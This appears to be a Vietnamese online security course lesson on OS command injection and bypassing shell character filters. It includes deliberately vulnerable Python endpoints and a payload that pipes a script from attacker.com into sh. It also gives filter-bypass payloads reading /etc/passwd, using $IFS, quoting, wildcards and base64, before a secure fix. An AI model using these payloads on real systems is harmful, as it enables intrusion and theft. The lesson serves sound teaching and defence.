Giải phẫu & Khai thác Lỗ hổng Ứng dụng
5/21
Bài 5 / 21~12 phútAdvanced Injections & Code ExecutionMiễn phí… lượt xem

OS Command Injection và nghệ thuật Bypass bộ lọc Shell

Giải mã cơ chế truyền tham số vào subshell, phân tách lệnh và các kỹ thuật vượt qua bộ lọc khoảng trắng, ký tự cấm trên Linux và Windows.

TL;DR: Khi một ứng dụng web thực hiện gọi lệnh hệ điều hành thông qua các hàm như system(), exec() hoặc subprocess với shell flag được bật, bất kỳ sự thiếu sót nào trong khâu sanitize đều dẫn tới OS Command Injection. Ngay cả khi lập trình viên áp dụng danh sách đen (Blacklist) để chặn khoảng trắng hoặc các ký tự phân tách quen thuộc như ;, &&, |, kẻ tấn công vẫn có thể tận dụng các biến môi trường đặc biệt ($IFS, ${IFS}), cơ chế wildcard, nối chuỗi và encoding để thực thi mã tùy ý mà không làm vỡ cú pháp shell.

1. Scenario — Công cụ kiểm tra kết nối mạng nội bộ của DevOps

Tại cổng quản trị hạ tầng (DevOps Portal) của một công ty fintech, đội ngũ kỹ thuật xây dựng tính năng kiểm tra độ trễ mạng tới các chi nhánh. Người dùng nhập địa chỉ IP hoặc tên miền vào form:

Python
# Network diagnostic controller (Python Flask)
import os
from flask import Flask, request, jsonify

@app.route('/api/network/ping', methods=['POST'])
def ping_host():
    target = request.form.get('host', '127.0.0.1')
    
    # Naive filter: Developer blocks space and semicolon
    if " " in target or ";" in target:
        return jsonify({"error": "Phat hien ky tu cam"}), 400
        
    # Bug: String concatenation executed in subshell
    command = f"ping -c 2 {target}"
    output = os.popen(command).read()
    return jsonify({"output": output})

Lập trình viên tự tin rằng việc chặn khoảng trắng và dấu chấm phẩy ; đã đủ để ngăn chặn việc chạy thêm lệnh thứ hai.

Một kỹ sư an ninh kiểm thử hệ thống gửi payload sau qua trường host:

127.0.0.1%0acurl$IFS$9attacker.com/rev.sh|sh

Dấu ngắt dòng %0a (newline) kết thúc lệnh ping đầu tiên ngay lập tức, và biến nội bộ $IFS thay thế hoàn hảo cho khoảng trắng bị cấm. Máy chủ lập tức tải về kịch bản độc hại và thiết lập kết nối điều khiển từ xa về máy tấn công. Toàn bộ cơ chế kiểm tra blacklist sụp đổ hoàn toàn.

2. Analogy — Chuyển phát bưu phẩm và tên buôn lậu thủ đoạn

Hãy tưởng tượng bạn điều hành một dịch vụ giao hàng:

  • Quy trình chuẩn hóa (Direct Execution): Bạn yêu cầu khách hàng đặt đồ vào 3 hộp riêng biệt: Hộp 1 ghi "Tên người nhận", Hộp 2 ghi "Địa chỉ", Hộp 3 ghi "Hàng hóa". Nhân viên bưu điện chỉ vận chuyển đúng các hộp đó theo danh mục được niêm phong. Không ai có thể chèn thêm mệnh lệnh mới vào giữa các hộp.
  • Quy trình đọc tự do (Subshell Execution): Bạn cho phép khách hàng viết một lá thư tự do dài ngoằng cho bác tài xế: "Bác chở đồ đến số 10 đường A; tiện đường rẽ vào ngân hàng rút hết tiền gửi cho tôi". Nếu bác tài xế cứ đọc tuần tự từng câu mà làm theo, bác sẽ thực hiện cả hành vi cướp ngân hàng ngoài ý muốn.

Trong Command Injection, subshell /bin/sh chính là người tài xế dễ dãi đó:

Thực thể đời sốngVai trò trong OS Command Injection
Khách hàng gian xảoKẻ tấn công gửi input chứa ký tự điều khiển shell
Dòng thư tự doChuỗi lệnh được format ghép chuỗi: f"ping {target}"
Bác tài xế cả tinTrình thông dịch /bin/sh -c đọc và bóc tách từng token
Mệnh lệnh rút tiền lénLệnh độc hại được nối qua dấu ngắt dòng hoặc toán tử pipe |

3. Vì sao shell meta-characters phá vỡ ranh giới tham số?

Mô hình thực thi lệnh qua Subshell

Khi một hàm như os.system(), os.popen() trong Python hoặc Runtime.getRuntime().exec(String) trong Java được gọi, hệ thống ngầm khởi động một tiến trình con của trình thông dịch vỏ (Subshell):

Bash
/bin/sh -c "ping -c 2 <user_input>"

Bộ phân tích từ vựng (Shell Lexer) duyệt qua chuỗi ký tự từ trái sang phải. Khi gặp các ký tự đặc biệt (Meta-characters), Lexer không coi chúng là dữ liệu của tham số ping nữa, mà coi chúng là chỉ thị điều khiển luồng:

  • Toán tử tuần tự: ; (chạy lệnh sau bất kể lệnh trước thành công hay thất bại).
  • Toán tử điều kiện: && (chỉ chạy lệnh sau nếu lệnh trước mã thoát 0), || (chạy lệnh sau khi lệnh trước thất bại).
  • Toán tử đường ống: | (chuyển stdout của lệnh trước thành stdin của lệnh sau).
  • Toán tử nền: & (đẩy lệnh trước chạy ngầm ở background, chạy tiếp lệnh sau ngay lập tức).
  • Ký tự ngắt dòng: Newline \n (tương đương với việc nhấn phím Enter trên bàn phím terminal).

Trong bài học trước, bạn đã học cách tự động hóa gửi request:

Nhớ lại —

Ôn lại cách mã hóa URL encoding (%0a, %20) khi truyền tham số đặc biệt qua HTTP request.

Khi tham số được truyền qua URL, ký tự xuống dòng được biểu diễn bằng %0a. Trình thông dịch shell coi %0a là ranh giới kết thúc một dòng lệnh hoàn chỉnh.

4. Làm thế nào để bypass các bộ lọc ký tự cấm của Shell?

Khi ứng dụng triển khai các bộ lọc (Blacklists) để chặn các ký tự thông dụng, kẻ tấn công sử dụng các đặc tính ngữ nghĩa phong phú của shell để vượt qua:

4.1. Vượt qua bộ lọc khoảng trắng (Space Bypass)

Khi khoảng trắng bị chặn hoặc strip:

  1. Biến phân tách trường $IFS (Internal Field Separator):
    • Trong Bash/sh, $IFS mặc định chứa \t\n.
    • Payload: cat$IFS/etc/passwd hoặc cat$IFS$9/etc/passwd (trong đó $9 là biến positional rỗng, giúp ngăn cách tên biến $IFS với ký tự tiếp theo).
  2. Kỹ thuật mở rộng ngoặc nhọn (Brace Expansion):
    • Cú pháp: {cat,/etc/passwd}
    • Shell tự động bóc tách thành lệnh cat với tham số /etc/passwd mà không cần khoảng trắng.
  3. Toán tử chuyển hướng luồng vào (<):
    • Cú pháp: cat</etc/passwd

4.2. Vượt qua bộ lọc từ khóa cấm (Keyword Blacklist)

Nếu ứng dụng lọc các từ khóa như cat, sh, nc, passwd:

  1. Chèn dấu nháy đơn hoặc nháy kép rỗng:
    • c'a't /etc/pass'w'd
    • c"a"t /etc/pass"w"d
    • Shell nối các chuỗi liền kề thành một token duy nhất: cat /etc/passwd.
  2. Sử dụng ký tự đại diện (Wildcards *, ?):
    • /bin/c?t /etc/p*sswd
    • /bin/n? /etc/hosts
  3. Mã hóa Base64 kết hợp đường ống:
    • Payload: echo$IFS$9Y2F0IC9ldGMvcGFzc3dk|base64$IFS$9-d|sh
    • Chuỗi Y2F0IC9ldGMvcGFzc3dk là chuỗi Base64 của cat /etc/passwd. Kỹ thuật này hoàn toàn giấu kín nội dung câu lệnh trước WAF và bộ lọc từ khóa.
🐛 Tìm bug trong code này
# Image resizing endpoint
import subprocess

def resize_avatar(filename, width, height):
  # Developer escapes spaces
  safe_filename = filename.replace(" ", "\ ")
  
  # Bug: Using shell=True with external string
  cmd = f"convert {safe_filename} -resize {width}x{height} thumb_{safe_filename}"
  return subprocess.run(cmd, shell=True, capture_output=True)

Thử ngẫmKhi một hệ thống chạy trên Windows thay vì Linux, các kỹ thuật phân tách lệnh và bypass khoảng trắng có gì khác biệt?

Trên Windows Command Prompt (cmd.exe), toán tử phân tách là &, khoảng trắng không thể thay bằng $IFS, nhưng có thể dùng dấu mũ ^ để ngắt từ khóa (ví dụ: c^a^t), hoặc dùng biến môi trường đặc biệt.

5. Pitfalls & Giải pháp khắc phục triệt để

❌ Bẫy thường gặp: Lọc bằng Regular Expression không trọn vẹn

Nhiều dự án cố gắng viết các biểu thức Regex phức tạp để loại bỏ các ký tự nguy hiểm:

Python
# ANTI-PATTERN: Incomplete regex filtering
sanitized_ip = re.sub(r'[;&|`$]', '', raw_input)
os.system(f"traceroute {sanitized_ip}")

Bộ lọc trên vẫn để sót dấu ngoặc đơn (), dấu chuyển hướng <, >, hoặc ký tự xuống dòng \n. Ngoài ra, nếu kẻ tấn công gửi input nhiều dòng hoặc payload encode, regex có thể bị bypass hoàn toàn.

✅ Giải pháp chuẩn mực: Loại bỏ Subshell và dùng Argument List

Biện pháp phòng thủ tối ưu nhất là tuyệt đối không khởi tạo Subshell. Hãy truyền trực tiếp mảng các tham số độc lập vào API hệ thống (hệ lời gọi hàm execve):

Python
# SECURE PATTERN: Direct process execution without shell
import subprocess
import ipaddress

@app.route('/api/network/ping', methods=['POST'])
def ping_host():
    raw_host = request.form.get('host', '127.0.0.1')
    
    # 1. Whitelist validation: Strictly check if input is a valid IP address
    try:
        ip = str(ipaddress.ip_address(raw_host))
    except ValueError:
        return jsonify({"error": "Dia chi IP khong hop le"}), 400
        
    # 2. Argument vector: shell=False (DEFAULT), every argument is an isolated string
    cmd = ["/bin/ping", "-c", "2", ip]
    result = subprocess.run(cmd, capture_output=True, text=True, timeout=5)
    
    return jsonify({"output": result.stdout})

Khi shell=False:

  1. Tiến trình /bin/ping được gọi trực tiếp bằng execve().
  2. Không có trình thông dịch /bin/sh nào được nạp vào bộ nhớ.
  3. Toàn bộ giá trị ip được hệ điều hành coi là một tham số dòng lệnh đơn lẻ (argv[3]). Dù tham số đó có chứa ;, &&, $IFS hay \n, chương trình ping chỉ đơn giản báo lỗi "unknown host", hoàn toàn không có khả năng thực thi thêm bất kỳ lệnh nào khác.

6. Đào sâu

Tài liệu tham khảo chuyên sâu về Command Injection:

7. Tóm tắt

  • OS Command Injection phát sinh khi ứng dụng ghép input người dùng vào chuỗi lệnh chuyển giao cho một subshell thông dịch.
  • Subshell phân tích các ký tự điều khiển (;, &&, |, \n) để phân tách các khối lệnh độc lập.
  • Bộ lọc khoảng trắng có thể bị vượt qua bằng biến $IFS, toán tử <, hoặc brace expansion {command,arg}.
  • Bộ lọc từ khóa có thể bị vô hiệu hóa qua việc chèn dấu nháy rỗng (c'a't), wildcard (/bin/c?t), hoặc mã hóa Base64.
  • Phòng thủ an toàn tuyệt đối bằng cách tắt cờ shell (shell=False), truyền tham số dạng danh sách (argv), và kiểm tra input bằng whitelist.

8. Tự kiểm tra

Tự kiểm tra
0/5 câu đã trả lời
  1. Q1
    Sự khác biệt căn bản về mặt tiến trình giữa os.system('ls ' + path) và subprocess.run(['ls', path]) là gì?
  2. Q2
    Trong trường hợp ứng dụng chạy trên container không có sẵn bash hay sh đầy đủ (ví dụ container Distroless hoặc Alpine chỉ có BusyBox), liệu Command Injection có xảy ra không?
  3. Q3
    Tại sao ký tự xuống dòng (\n / %0a) lại là một trong những toán tử phân tách lệnh nguy hiểm nhất đối với các bộ lọc regex?
  4. Q4
    Khi kết quả thực thi lệnh không được in ra màn hình (Blind Command Injection), làm thế nào để kẻ tấn công xác nhận lỗ hổng và trích xuất dữ liệu?
  5. Q5
    Vì sao việc phân quyền người dùng chạy ứng dụng web (Least Privilege) là lớp phòng thủ quan trọng ngay cả khi đã cố gắng ngăn chặn Command Injection trong code?

Bài tiếp theo: Mini-challenge: Xâu chuỗi Injection và thực thi mã trong thực nghiệm

Bài này có giúp bạn hiểu bản chất không?

Bài này đáng gửi cho bạn học cùng?

Copy link đã gắn nguồn — dán group, chat, hoặc LinkedIn.

Thảo luận & góp ý

Hỏi đáp về bài này

Bài tiếp theo

Mini-challenge: Xâu chuỗi Injection và thực thi mã trong thực nghiệm